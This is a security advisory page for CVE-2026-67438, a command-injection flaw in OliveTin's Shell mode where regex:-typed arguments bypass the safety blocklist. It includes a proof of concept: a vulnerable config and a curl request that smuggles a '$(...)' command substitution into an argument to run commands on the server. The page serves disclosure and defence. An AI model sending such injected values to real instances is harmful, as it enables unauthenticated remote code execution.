CVE-2026-67438: OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check
Summary OliveTin's checkShellArgumentSafety() function maintains a blocklist of argument types unsafe for Shell mode actions, but does not include regex:-prefixed types. Because regex: support was added independently via typeSafetyCheckRegex(), any Shell mode action using a regex:-typed argument bypasses the safety check unconditionally.
Published Jul 30, 2026
Affected packages
github.com/OliveTin/OliveTin
- Ecosystem
- Go
- Affected
- >= 0.0.0-20251025234746-ef5a67e7b8ea, < 0.0.0-20260708084548-995ff79736f2
- Fixed in
- 0.0.0-20260708084548-995ff79736f2
- Check
go list -m github.com/OliveTin/OliveTin
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
OliveTin's checkShellArgumentSafety() function maintains a blocklist of argument types unsafe for Shell mode actions, but does not include regex:-prefixed types. Because regex: support was added independently via typeSafetyCheckRegex(), any Shell mode action using a regex:-typed argument bypasses the safety check unconditionally. The unvalidated value is then interpolated directly into the sh -c command string via Go's text/template with no escaping, enabling shell injection. Notably, even restrictive-looking patterns are exploitable — for example, a pattern blocking common shell metacharacters remains bypassable via POSIX command substitution.
Details
OliveTin is an open source web UI for running pre-configured shell commands. In the OliveTin service component, the function checkShellArgumentSafety() in service/internal/executor/arguments.go enforces a blocklist of argument types that are unsafe for use in Shell mode actions (actions that execute via sh -c). The blocklist includes password, very_dangerous_raw_string, url, email, and raw_string_multiline. It does not handle custom regex: prefixed argument types.
Custom regex: types are supported by a separate function, typeSafetyCheckRegex(), which checks whether a submitted value matches the provided pattern. These two functions evolved independently: when regex: prefix support was added to typeSafetyCheckRegex, checkShellArgumentSafety was not updated to treat regex: types as unsafe for Shell mode. As a result, any action configured with a Shell mode handler and a regex:-typed argument passes the safety check unconditionally, regardless of how permissive or restrictive the pattern is.
The argument value then reaches handleShellBranch → wrapCommandInShell, where Go's text/template interpolates it directly into the sh -c command string with no escaping.
Critically, this vulnerability is not limited to obviously permissive patterns like regex:.*. An admin who writes a restrictive-looking pattern such as regex: ^[^;|&<>]+$ - explicitly blocking the five most common shell injection characters (semicolon, pipe, ampersand, both redirects) — is still fully exploitable via POSIX command substitution.
PoC
- Deploy OliveTin
docker run -d --name olivetin-poc -p 1337:1337 \
-v /tmp/olivetin-poc/config:/config \
ghcr.io/olivetin/olivetin:3000.11.3- Write the configuration below as /tmp/olivetin-poc/config/config.yaml , which represents a realistic admin-authored action: a Shell mode command that accepts user-supplied input validated by a custom regex pattern.
actions:
- title: Custom Input Action
id: custom_input
shell: echo "Input was {{ .Arguments.customInput }}"
arguments:
- name: customInput
type: "regex:^[^;|&<>]+$"
title: Custom Input- Trigger RCE via command substitution.
curl -s -X POST http://localhost:1337/api/v1/StartAction \
-H "Content-Type: application/json" \
-d '{"bindingId":"custom_input","arguments":[{"name":"customInput","value":"$(touch /tmp/rce_proof)"}]}'- Now verify RCE by checking presence of file
docker exec olivetin-poc ls -la /tmp/rce_proofImpact
An unauthenticated attacker with network access to an OliveTin instance can achieve full OS command injection - and in practice remote code execution — as the OliveTin process user, provided a Shell mode action exists with any regex:-typed argument whose pattern permits $, backtick, or parentheses.
Credited to Ayantaker.
References
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xc5w-4v5w-7x65
- https://nvd.nist.gov/vuln/detail/CVE-2026-67438
- https://github.com/OliveTin/OliveTin/commit/995ff79736f2bccc364448a3ece84087b550b232
- https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0
- https://github.com/advisories/GHSA-xc5w-4v5w-7x65
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-75506
OliveTin: Second-Order OS Command Injection via shellAfterCompleted
medium6.6Nov 18, 2026CVE-2026-67437
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
high7.5Jul 30, 2026CVE-2026-67439
OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output
medium4.3Jul 30, 2026CVE-2026-48708
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
high7.5Jun 24, 2026CVE-2026-48709
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
low3.7Jun 24, 2026CVE-2026-53541
OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering
medium4.3Jun 24, 2026
